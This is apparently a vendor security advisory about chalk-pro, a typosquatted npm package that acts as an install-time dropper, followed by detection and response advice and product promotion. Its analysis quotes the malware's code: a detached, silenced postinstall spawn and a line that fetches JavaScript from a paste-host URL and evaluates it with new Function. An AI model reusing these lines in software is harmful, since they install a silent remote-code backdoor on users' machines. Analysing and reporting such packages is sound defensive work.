chalk-pronpm
chalk-pro is a confirmed malicious npm package (MAL-2026-5711) that typosquats a legitimate package to trick installs (malicious versions 7.0.4, 7.0.6). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in chalk-pro (npm)
What this malware does
Package is published as 'chalk-pro' (homepage chalk-pro.com) but its main entry is a verbatim copy of nodemailer's API — a typosquat impersonating both chalk and nodemailer, with 'Andris Reinman' (the real nodemailer author) listed as author. The package.json postinstall hook runs node lib/utils/index.js, which uses child_process.spawn(process.execPath, [filePath], { detached: true, stdio: ['ignore','ignore','ignore'] }) followed by child.unref() to launch lib/utils/smtp-connection/index.js as a detached, fully-silenced child so npm install returns immediately while the dropper continues in the background. The dropper executes require('axios').get('https://www.jsonkeeper.com/b/TOAAK').then(r => new Function('require', r.data.cookie)(require)) — fetching attacker-controlled JavaScript from a mutable paste host and evaluating it with new Function at install time, with full access to require. A second file (lib/utils/smtp-connection/parse.js) provides AES-256-CBC decryption with a hardcoded key and IV, positioned to decrypt follow-up stages delivered as hex. This is a classic install-time dropper: typosquat lure + detached/silenced postinstall + remote eval from a mutable third-party paste + bundled second-stage decryptor.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for chalk-pro (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging chalk-pro across your stack and pipelines.
If you installed it — respond
chalk-pro is a typosquat — you almost certainly intended a legitimately-named package. Remove chalk-pro, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If chalk-pro was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks chalk-pro before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks chalk-pro-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.